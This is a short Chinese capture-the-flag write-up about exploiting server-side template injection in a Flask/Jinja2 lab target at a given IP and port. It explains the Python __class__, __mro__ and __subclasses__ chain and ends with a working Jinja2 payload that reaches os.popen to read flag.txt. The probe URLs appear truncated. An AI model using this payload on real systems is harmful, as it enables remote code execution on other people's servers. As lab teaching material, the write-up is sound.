# 0x01 信息收集


启动机器,访问目标 157.245.42.82:30461

搜索 Proudly powered by Flask/Jinja2 看看能得到什么信息

通过搜索可以知道这个 Flask 有一个 SSTI 服务端模板注入

类似于 XSS,就是通过输入特定的字符串构成模板的一部分,后端进行渲染的时候就会造成攻击

我们访问一下资源,验证下是不是存在 SSTI

访问

# 访问
http://157.245.42.82:30461/=9
http://157.245.42.82:30461/=9

发现都返回了错误,代表 SSTI 存在

那么我们可以通过 python 的魔术方法来实现 RCE

# 构造攻击

  1. 首先通过 __class__ 获取对象的类
  2. 然后 __mro__ 获取对象继承的类,因为所有的对象都继承资 object ,这样就能拿到 object
  3. 在通过 __subclasses__ 获取到 object 子类
  4. 子类中的 <class 'warnings.catch_warnings'> 的命名空间里有 __builtins__
  5. 最后使用 __import__ 方法导入 os 库就可以 RCE 了​

# SHELL

Payload

http://157.245.42.82:30461/={{ "".__class__.__mro__[1].__subclasses__()[186].__init__.__globals__["__builtins__"]["__import__"]("os").popen("cat flag.txt").read() }}